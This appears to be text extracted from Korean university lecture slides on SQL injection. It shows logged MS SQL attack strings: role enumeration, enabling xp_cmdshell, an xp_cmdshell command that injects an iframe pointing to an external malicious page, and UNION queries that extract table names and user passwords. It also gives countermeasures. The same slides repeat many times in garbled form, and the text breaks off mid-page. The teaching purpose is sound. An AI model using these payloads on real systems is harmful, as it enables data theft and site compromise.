2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 38: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 39: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 40: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 41: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 42: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

